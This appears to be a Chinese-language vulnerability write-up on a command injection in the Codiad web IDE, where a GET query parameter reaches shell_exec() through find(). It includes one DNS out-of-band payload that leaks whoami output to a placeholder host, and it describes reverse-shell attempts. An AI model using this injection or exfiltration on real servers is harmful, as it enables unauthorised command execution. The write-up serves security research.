Codiad在线IDE框架漏洞挖掘
字数 1192 2025-08-18 11:37:15
Codiad在线IDE框架漏洞挖掘与分析
1. 简介
Codiad是一个开源基于Web的IDE应用程序,用于在线编写和编辑代码。该项目托管在GitHub上:https://github.com/Codiad/Codiad
2. 环境搭建
2.1 基础环境
- 使用phpstudy搭建基础环境
- 开启Xdebug进行调试
- 参考配置文档:https://blog.csdn.net/flyingdream123/article/details/69358819
2.2 Linux实验环境
- 参考FreeBuf文章搭建:http://www.freebuf.com/articles/web/141788.html
3. 漏洞挖掘过程
3.1 漏洞定位
- 通过CVE漏洞库查询Codiad历史漏洞
- 发现该框架在
shell_exec()函数处理上多次出现问题 - 锁定对该函数的调用作为切入点
3.2 关键函数分析
find()函数调用shell_exec()$cmd参数由$input设置$input由$this->query设置$this->query参数通过GET传参获取
3.3 调试过程
- 更改
action参数值为find进行动态调试 - 在进入action判断前,对
path参数进行了判定 - 注意当前目录名称的影响
- 观察
shell_exec执行拼接好的操作
3.4 漏洞原理
- 构造的
query参数被双引号包含 - 即使调用
escapeshellarg函数处理参数,双引号包含仍可能导致命令执行 - 上一个版本中此处已出现过命令执行漏洞
4. 漏洞验证
4.1 调试辅助
- 修改无查询结果时的返回信息为执行的
$cmd:$this->message = $cmd;
4.2 初步验证
- 使用DNS外带查询判断命令执行:
- 在反引号中执行子命令应使用
$()语法 - 示例:
ping -c 1 $(whoami).xxx.xxx.io
- 在反引号中执行子命令应使用
4.3 反弹Shell尝试
- 服务器开启监听
- 尝试多种反弹Shell的payload
- 遇到限制时尝试其他方法:
- 使用wget写文件
- 注意文件权限问题
5. 漏洞利用
5.1 命令执行确认
- 虽然无法直接反弹Shell,但通过DNS外带确认命令执行存在
- 示例payload成功获取信息
5.2 绕过限制
- 尝试网上各种反弹Shell的payload
- 最终成功获取Shell
- 过程中涉及多种权限问题处理
6. 总结
6.1 关键点
shell_exec()函数的不当使用- 参数处理不彻底导致命令注入
- 双引号包含构造参数的风险
- 多种验证方法(DNS外带、反弹Shell)
6.2 学习收获
- 漏洞定位与分析技巧
- 多种验证方法的实践
- Linux环境下的权限处理
- 反弹Shell的各种尝试
注:本文基于FreeBuf原文内容整理,作者licong,转载请注明来自FreeBuf.COM